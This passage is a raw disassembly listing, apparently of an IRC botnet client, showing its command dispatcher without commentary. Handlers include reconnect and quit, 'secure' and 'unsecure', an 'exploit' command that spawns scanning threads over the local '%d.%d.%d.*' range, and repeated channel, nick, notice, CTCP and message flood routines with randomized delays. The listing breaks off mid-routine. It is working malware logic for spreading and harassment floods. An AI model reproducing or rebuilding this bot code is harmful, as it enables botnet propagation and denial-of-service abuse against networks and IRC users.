push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_4096FD
push offset dword_42E0C0
call sub_415F45
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_401F23
; ---------------------------------------------------------------------------
loc_4044DC: ; CODE XREF: sub_401AA1+1568j
; sub_401AA1+157Dj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_4096FD
push offset dword_42E070
call sub_415F45
add esp, 0Ch
jmp loc_4094D7
; ---------------------------------------------------------------------------
loc_4044FB: ; CODE XREF: sub_401AA1+153Ej
; sub_401AA1+1553j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B91D
jmp loc_4048B7
; ---------------------------------------------------------------------------
loc_404511: ; CODE XREF: sub_401AA1+1514j
; sub_401AA1+1529j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B8C9
jmp loc_4048B7
; ---------------------------------------------------------------------------
loc_404527: ; CODE XREF: sub_401AA1+14EAj
; sub_401AA1+14FFj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B85E
jmp loc_4048B7
; ---------------------------------------------------------------------------
loc_40453D: ; CODE XREF: sub_401AA1+14C0j
; sub_401AA1+14D5j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B790
jmp loc_4048B7
; ---------------------------------------------------------------------------
loc_404553: ; CODE XREF: sub_401AA1+141Bj
; sub_401AA1+1430j
push [ebp+esi+var_8C]
push 27h
push offset dword_42E060
push offset dword_42E038
jmp loc_408C3A
; ---------------------------------------------------------------------------
loc_40456B: ; CODE XREF: sub_401AA1+13F1j
; sub_401AA1+1406j
push [ebp+esi+var_8C]
push 24h
push offset dword_42E02C
push offset dword_42E01C
jmp loc_408C3A
; ---------------------------------------------------------------------------
loc_404583: ; CODE XREF: sub_401AA1+100Aj
; sub_401AA1+101Fj
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_4045A2
push edi
call sub_41BDE9
test eax, eax
pop ecx
jz short loc_4045A2
push edi
call sub_41BDE9
pop ecx
jmp short loc_4045A7
; ---------------------------------------------------------------------------
loc_4045A2: ; CODE XREF: sub_401AA1+2AEBj
; sub_401AA1+2AF6j
mov eax, dword_42A960
loc_4045A7: ; CODE XREF: sub_401AA1+2AFFj
mov esi, [ebp+esi+var_88]
mov [ebp+var_590], eax
cmp esi, ebx
jz short loc_4045CC
push esi
loc_4045B9: ; CODE XREF: sub_401AA1+2B3Aj
lea eax, [ebp+var_5A0]
push 10h
push eax
call sub_41BFF0
add esp, 0Ch
jmp short loc_4045E3
; ---------------------------------------------------------------------------
loc_4045CC: ; CODE XREF: sub_401AA1+2B15j
cmp [ebp+var_8FF], bl
jz short loc_4045DD
lea eax, [ebp+var_C0]
push eax
jmp short loc_4045B9
; ---------------------------------------------------------------------------
loc_4045DD: ; CODE XREF: sub_401AA1+2B31j
mov [ebp+var_5A0], bl
loc_4045E3: ; CODE XREF: sub_401AA1+2B29j
mov eax, [ebp+var_4]
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov [ebp+var_584], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_580], eax
lea eax, [ebp+var_620]
push eax
mov [ebp+var_624], esi
call sub_41BFF0
add esp, 0Ch
push [ebp+var_590]
push esi
call sub_40A8D5
pop ecx
push eax
lea eax, [ebp+var_2C0]
push offset dword_42DFF4
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push 19h
push eax
call sub_40B254
add esp, 1Ch
mov [ebp+var_58C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_624]
push ebx
push eax
push offset sub_411E46
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_58C]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_404697
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset dword_42DFB8
jmp loc_4096AB
; ---------------------------------------------------------------------------
loc_40468F: ; CODE XREF: sub_401AA1+2BFCj
push 32h
call dword_428080 ; Sleep
loc_404697: ; CODE XREF: sub_401AA1+2BDBj
cmp [ebp+var_57C], ebx
jz short loc_40468F
jmp loc_401F20
; ---------------------------------------------------------------------------
loc_4046A4: ; CODE XREF: sub_401AA1+FB7j
; sub_401AA1+FCCj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4046C4
push esi
call sub_41BDE9
test ax, ax
pop ecx
jz short loc_4046C4
push esi
call sub_41BDE9
pop ecx
jmp short loc_4046CA
; ---------------------------------------------------------------------------
loc_4046C4: ; CODE XREF: sub_401AA1+2C0Cj
; sub_401AA1+2C18j
mov ax, word_42A970
loc_4046CA: ; CODE XREF: sub_401AA1+2C21j
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
mov [ebp+var_97C], ax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_96C], eax
lea eax, [ebp+var_9FC]
push eax
mov [ebp+var_A00], esi
mov [ebp+var_970], edi
call sub_41BFF0
movzx eax, [ebp+var_97C]
add esp, 0Ch
push eax
push esi
call sub_40A8D5
pop ecx
push eax
lea eax, [ebp+var_2C0]
push offset unk_42DF8C
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push edi
push eax
push [ebp+var_88]
push esi
call sub_409743
push ebx
lea eax, [ebp+var_2C0]
push 6
push eax
call sub_40B254
add esp, 30h
mov [ebp+var_978], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A00]
push ebx
push eax
push offset sub_40F219
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_978]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_40479C
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_42DF4C
jmp loc_4096AB
; ---------------------------------------------------------------------------
loc_404794: ; CODE XREF: sub_401AA1+2D01j
push 32h
call dword_428080 ; Sleep
loc_40479C: ; CODE XREF: sub_401AA1+2CE0j
cmp [ebp+var_968], ebx
jz short loc_404794
jmp loc_401F20
; ---------------------------------------------------------------------------
loc_4047A9: ; CODE XREF: sub_401AA1+F63j
; sub_401AA1+F78j ...
push edi
push offset aSecure ; "secure"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz short loc_4047D1
push edi
push offset aSec ; "sec"
call sub_41C6E0
pop ecx
mov [ebp+var_AA8], ebx
test eax, eax
pop ecx
jnz short loc_4047DB
loc_4047D1: ; CODE XREF: sub_401AA1+2D17j
mov [ebp+var_AA8], 1
loc_4047DB: ; CODE XREF: sub_401AA1+2D2Ej
push [ebp+var_88]
lea eax, [ebp+var_B2C]
push 80h
push eax
call sub_41BFF0
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_AA8], ebx
mov [ebp+var_B30], eax
mov eax, [ebp+var_4]
mov [ebp+var_AA4], eax
mov eax, [ebp+var_8]
mov [ebp+var_AA0], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_404822
mov eax, offset aUnsecuring ; "Unsecuring"
loc_404822: ; CODE XREF: sub_401AA1+2D7Aj
push eax
push offset dword_42DEFC
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41BFF0
push ebx
lea eax, [ebp+var_2C0]
push 22h
push eax
call sub_40B254
add esp, 1Ch
mov [ebp+var_AAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_B30]
push ebx
push eax
push offset sub_41A48B
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_AAC]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_404899
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_42DEA8
jmp loc_40823D
; ---------------------------------------------------------------------------
loc_404891: ; CODE XREF: sub_401AA1+2DFEj
push 32h
call dword_428080 ; Sleep
loc_404899: ; CODE XREF: sub_401AA1+2DDDj
cmp [ebp+var_A9C], ebx
jz short loc_404891
jmp loc_402399
; ---------------------------------------------------------------------------
loc_4048A6: ; CODE XREF: sub_401AA1+F39j
; sub_401AA1+F4Ej
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41AD24
loc_4048B7: ; CODE XREF: sub_401AA1+2A6Bj
; sub_401AA1+2A81j ...
add esp, 0Ch
jmp loc_409567
; ---------------------------------------------------------------------------
loc_4048BF: ; CODE XREF: sub_401AA1+F0Fj
; sub_401AA1+F24j
push offset dword_42DE68
jmp loc_406169
; ---------------------------------------------------------------------------
loc_4048C9: ; CODE XREF: sub_401AA1+EE5j
; sub_401AA1+EFAj
push offset dword_42A9A0
push offset dword_42DE3C
jmp loc_406BB4
; ---------------------------------------------------------------------------
loc_4048D8: ; CODE XREF: sub_401AA1+EBBj
; sub_401AA1+ED0j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_40492B
push esi
call sub_41BDE9
cmp eax, ebx
pop ecx
jl short loc_404923
cmp eax, 3
jge short loc_404923
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
lea esi, [ecx+edx]
cmp [esi], bl
jz short loc_40491B
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2C0]
push offset dword_42F550
push eax
call sub_41BEF6
mov [esi], bl
jmp short loc_404974
; ---------------------------------------------------------------------------
loc_40491B: ; CODE XREF: sub_401AA1+2E5Fj
push eax
push offset dword_42DDE8
jmp short loc_404968
; ---------------------------------------------------------------------------
loc_404923: ; CODE XREF: sub_401AA1+2E4Bj
; sub_401AA1+2E50j
push eax
push offset dword_42DD90
jmp short loc_404968
; ---------------------------------------------------------------------------
loc_40492B: ; CODE XREF: sub_401AA1+2E40j
mov edi, [ebp+arg_18]
xor esi, esi
loc_404930: ; CODE XREF: sub_401AA1+2EABj
push [ebp+var_90]
push edi
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz short loc_404953
inc esi
add edi, 80h
cmp esi, 3
jl short loc_404930
jmp loc_406DEB
; ---------------------------------------------------------------------------
loc_404953: ; CODE XREF: sub_401AA1+2E9Fj
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C0]
push eax
push offset dword_42DD48
loc_404968: ; CODE XREF: sub_401AA1+2090j
; sub_401AA1+2E80j ...
lea eax, [ebp+var_2C0]
push eax
call sub_41BEF6
loc_404974: ; CODE XREF: sub_401AA1+2E78j
; sub_401AA1+5495j
add esp, 0Ch
jmp loc_406DEB
; ---------------------------------------------------------------------------
loc_40497C: ; CODE XREF: sub_401AA1+E91j
; sub_401AA1+EA6j
push [ebp+var_8C]
push offset dword_42F4C4
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4033D4
call sub_40B417
push ebx
call dword_42806C ; ExitProcess
loc_4049A2: ; CODE XREF: sub_401AA1+196Bj
push offset aGet ; "get"
push edi
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_404A48
cmp dword_4D1A8C, ebx
jz short loc_4049CE
push offset dword_4D1470
push offset unk_42DD08
jmp loc_404A5A
; ---------------------------------------------------------------------------
loc_4049CE: ; CODE XREF: sub_401AA1+2F1Cj
push 10h
pop eax
mov [ebp+var_2D0], eax
push eax
lea eax, [ebp+var_2E8]
push ebx
push eax
call sub_41BC00
add esp, 0Ch
lea eax, [ebp+var_2D0]
push eax
lea eax, [ebp+var_2E8]
push eax
push [ebp+arg_4]
call dword_42822C ; getsockname
movzx eax, [ebp+var_2E2]
push eax
movzx eax, [ebp+var_2E3]
push eax
movzx eax, [ebp+var_2E4]
push eax
lea eax, [ebp+var_E24]
push offset aD_D_D_ ; "%d.%d.%d.*"
push eax
call sub_41BEF6
lea eax, [ebp+var_E24]
push eax
lea eax, [ebp+var_2C0]
push offset unk_42DD08
push eax
call sub_41BEF6
add esp, 20h
jmp loc_40342B
; ---------------------------------------------------------------------------
loc_404A48: ; CODE XREF: sub_401AA1+2F10j
push edi
call dword_4CE348 ; inet_addr
cmp eax, 0FFFFFFFFh
push edi
jnz short loc_404A6E
push offset unk_42DCC8
loc_404A5A: ; CODE XREF: sub_401AA1+2F28j
lea eax, [ebp+var_2C0]
push eax
call sub_41BEF6
add esp, 0Ch
jmp loc_40342B
; ---------------------------------------------------------------------------
loc_404A6E: ; CODE XREF: sub_401AA1+2FB2j
push offset dword_4D1470
call sub_41C520
push edi
lea eax, [ebp+var_2C0]
push offset unk_42DC9C
push eax
mov dword_4D1A8C, 1
call sub_41BEF6
add esp, 14h
jmp loc_40342B
; ---------------------------------------------------------------------------
loc_404A9C: ; CODE XREF: sub_401AA1+1956j
push [ebp+arg_8]
push offset aExploit ; "exploit"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_404B98
mov eax, [ebp+var_4]
mov esi, 80h
mov [ebp+var_13E8], eax
mov eax, [ebp+var_8]
mov [ebp+var_13E4], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13F8], eax
push offset asc_42AAA4 ; "#l"
lea eax, [ebp+var_1478]
push esi
push eax
mov [ebp+var_13F0], 1
call sub_41BFF0
push offset asc_42AAA4 ; "#l"
lea eax, [ebp+var_14F8]
push esi
push eax
call sub_41BFF0
push edi
lea eax, [ebp+var_1508]
push 10h
push eax
call sub_41BFF0
lea eax, [ebp+var_1508]
push eax
lea eax, [ebp+var_2C0]
push offset dword_42DC38
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push 8
push eax
call sub_40B254
add esp, 3Ch
mov [ebp+var_13EC], eax
lea eax, [ebp+var_2FC]
push eax
lea eax, [ebp+var_1508]
push ebx
push eax
push offset sub_40B9E3
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_13EC]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_404B8B
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset dword_42DBB8
jmp loc_404968
; ---------------------------------------------------------------------------
loc_404B83: ; CODE XREF: sub_401AA1+30F0j
push 32h
call dword_428080 ; Sleep
loc_404B8B: ; CODE XREF: sub_401AA1+30CFj
cmp [ebp+var_13E0], ebx
jz short loc_404B83
jmp loc_406DEB
; ---------------------------------------------------------------------------
loc_404B98: ; CODE XREF: sub_401AA1+300Cj
push [ebp+arg_8]
push offset aReconnect_in ; "reconnect.in"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4094DE
push [ebp+arg_8]
push offset aRin ; "rin"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4094DE
push [ebp+arg_8]
push offset aReconnect_in_m ; "reconnect.in.ms"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40949C
push [ebp+arg_8]
push offset aRinms ; "rinms"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40949C
push [ebp+arg_8]
push offset aFlood ; "flood"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_405773
call dword_4280B0 ; GetTickCount
push eax
call sub_41BF48
push edi
push offset aLoad ; "load"
call sub_41C6E0
add esp, 0Ch
test eax, eax
jnz short loc_404C9B
cmp [ebp+esi+var_80], ebx
jz short loc_404C9B
push [ebp+esi+var_80]
call sub_41BDE9
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41BDE9
pop ecx
push eax
push [ebp+esi+var_88]
call sub_417F61
push [ebp+esi+var_84]
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push [ebp+esi+var_80]
push offset unk_42DB50
push eax
call sub_41BEF6
add esp, 20h
cmp [ebp+var_8], ebx
jnz short loc_404C9B
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
add esp, 14h
loc_404C9B: ; CODE XREF: sub_401AA1+3186j
; sub_401AA1+318Cj ...
push edi
push offset dword_42DB4C
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_404D02
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404D02
push offset asc_42F5E8 ; " "
push offset dword_42DB48
push eax
call sub_418584
push eax
lea eax, [ebp+var_47F0]
push eax
call sub_41C520
lea eax, [ebp+var_47F0]
push eax
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset dword_42DB38
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 28h
loc_404D02: ; CODE XREF: sub_401AA1+3209j
; sub_401AA1+3214j
push edi
push offset dword_42DB34
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_404D69
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404D69
push offset asc_42F5E8 ; " "
push offset dword_42DB48
push eax
call sub_418584
push eax
lea eax, [ebp+var_4AF4]
push eax
call sub_41C520
lea eax, [ebp+var_4AF4]
push eax
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset dword_42DB20
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 28h
loc_404D69: ; CODE XREF: sub_401AA1+3270j
; sub_401AA1+327Bj
push edi
push offset aNt ; "nt"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_404DD0
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404DD0
push offset asc_42F5E8 ; " "
push offset dword_42DB48
push eax
call sub_418584
push eax
lea eax, [ebp+var_48F0]
push eax
call sub_41C520
lea eax, [ebp+var_48F0]
push eax
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aNoticeSS_1 ; "notice %s :%s"
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 28h
loc_404DD0: ; CODE XREF: sub_401AA1+32D7j
; sub_401AA1+32E2j
push edi
push offset aMode ; "mode"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_404E37
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404E37
push offset asc_42F5E8 ; " "
push offset dword_42DB48
push eax
call sub_418584
push eax
lea eax, [ebp+var_4FF8]
push eax
call sub_41C520
lea eax, [ebp+var_4FF8]
push eax
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aModeSS ; "mode %s %s"
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 28h
loc_404E37: ; CODE XREF: sub_401AA1+333Ej
; sub_401AA1+3349j
push edi
push offset aJoin ; "join"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_404E74
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404E74
push eax
lea eax, [ebp+var_2C0]
push offset aJoinS ; "join %s"
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 10h
loc_404E74: ; CODE XREF: sub_401AA1+33A5j
; sub_401AA1+33B0j
push edi
push offset aPart_0 ; "part"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_404EB1
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404EB1
push eax
lea eax, [ebp+var_2C0]
push offset aPartS ; "part %s"
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 10h
loc_404EB1: ; CODE XREF: sub_401AA1+33E2j
; sub_401AA1+33EDj
push edi
push offset aPartflood ; "partflood"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_404EF3
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404EF3
push offset byte_428638
push eax
lea eax, [ebp+var_2C0]
push offset aPartSS ; "part %s %s"
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 14h
loc_404EF3: ; CODE XREF: sub_401AA1+341Fj
; sub_401AA1+342Aj
push edi
push offset aPnick ; "pnick"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_404F66
cmp [ebp+esi+var_88], ebx
jz short loc_404F66
call dword_4280B0 ; GetTickCount
push eax
call sub_41BF48
call sub_41BF52
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_17B8]
push edx
push [ebp+esi+var_88]
push offset dword_42DAB0
push eax
call sub_41BEF6
lea eax, [ebp+var_17B8]
push eax
lea eax, [ebp+var_2C0]
push offset dword_42DAA8
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 24h
loc_404F66: ; CODE XREF: sub_401AA1+3461j
; sub_401AA1+346Aj
push edi
push offset dword_42DA9C
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_4050B7
cmp [ebp+esi+var_88], ebx
jz loc_4050B7
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset aJoinS ; "join %s"
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
push offset byte_428638
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 24h
call sub_41BF52
cdq
mov ecx, 3E8h
idiv ecx
push edx
call dword_428080 ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset aJoinS ; "join %s"
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 10h
call sub_41BF52
cdq
mov ecx, 384h
idiv ecx
push edx
call dword_428080 ; Sleep
push offset byte_428638
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset aJoinS ; "join %s"
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 24h
call sub_41BF52
cdq
mov ecx, 0C8h
idiv ecx
push edx
call dword_428080 ; Sleep
push offset byte_428638
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 14h
loc_4050B7: ; CODE XREF: sub_401AA1+34D4j
; sub_401AA1+34E1j
push edi
push offset dword_42DA98
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_40514F
cmp [ebp+esi+var_88], ebx
jz short loc_40514F
call dword_4280B0 ; GetTickCount
push eax
call sub_41BF48
pop ecx
call sub_41BF52
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41BF52
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41BF52
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41BF52
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41BF52
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_2C0]
push edx
push [ebp+esi+var_88]
push offset dword_42DA70
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 24h
loc_40514F: ; CODE XREF: sub_401AA1+3625j
; sub_401AA1+3632j
push edi
push offset aNick_0 ; "nick"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_405252
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz loc_405252
push eax
lea eax, [ebp+var_2C0]
push offset aJoinS ; "join %s"
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
lea eax, [ebp+var_4BC]
push eax
call sub_417FDF
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C0]
push offset dword_42DAA8
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 24h
call sub_41BF52
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_428080 ; Sleep
lea eax, [ebp+var_4BC]
push eax
call sub_417FDF
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C0]
push offset dword_42DAA8
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 14h
call sub_41BF52
cdq
mov ecx, 1F4h
idiv ecx
push edx
call dword_428080 ; Sleep
lea eax, [ebp+var_4BC]
push eax
call sub_417FDF
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C0]
push offset dword_42DAA8
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 14h
loc_405252: ; CODE XREF: sub_401AA1+36BDj
; sub_401AA1+36CCj
push edi
push offset aChgnick ; "chgnick"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_405296
lea eax, [ebp+var_180C]
push eax
call sub_417FDF
lea eax, [ebp+var_180C]
push eax
lea eax, [ebp+var_2C0]
push offset dword_42DAA8
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 14h
loc_405296: ; CODE XREF: sub_401AA1+37C0j
push edi
push offset aMsg ; "msg"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_405388
cmp [ebp+esi+var_88], ebx
jz loc_405388
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset aJoinS ; "join %s"
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
push offset word_42863A
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset dword_42DB38
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 24h
call sub_41BF52
cdq
mov ecx, 3E8h
idiv ecx
push edx
call dword_428080 ; Sleep
push offset word_42863A
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset dword_42DB38
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 14h
call sub_41BF52
cdq
mov ecx, 384h
idiv ecx
push edx
call dword_428080 ; Sleep
push offset word_42863A
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset dword_42DB38
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 14h
loc_405388: ; CODE XREF: sub_401AA1+3804j
; sub_401AA1+3811j
push edi
push offset aNotice_0 ; "notice"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_40547A
cmp [ebp+esi+var_88], ebx
jz loc_40547A
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset aJoinS ; "join %s"
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
push offset word_42863A
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 24h
call sub_41BF52
cdq
mov ecx, 3E8h
idiv ecx
push edx
call dword_428080 ; Sleep
push offset word_42863A
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 14h
call sub_41BF52
cdq
mov ecx, 384h
idiv ecx
push edx
call dword_428080 ; Sleep
push offset word_42863A
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 14h
loc_40547A: ; CODE XREF: sub_401AA1+38F6j
; sub_401AA1+3903j
push edi
push offset aCtcp ; "ctcp"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_405598
cmp [ebp+esi+var_88], ebx
jz loc_405598
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset aJoinS ; "join %s"
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset dword_42DA28
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 20h
call sub_41BF52
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_428080 ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset dword_42DA10
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 10h
call sub_41BF52
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_428080 ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset dword_42D9F8
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 10h
call sub_41BF52
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_428080 ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset dword_42D9F8
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 10h
loc_405598: ; CODE XREF: sub_401AA1+39E8j
; sub_401AA1+39F5j
push edi
push offset aMix ; "mix"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_4056C5
cmp [ebp+esi+var_88], ebx
jz loc_4056C5
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset aJoinS ; "join %s"
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset dword_42DA28
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 20h
call sub_41BF52
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_428080 ; Sleep
push offset word_42863A
lea eax, [ebp+var_2C0]
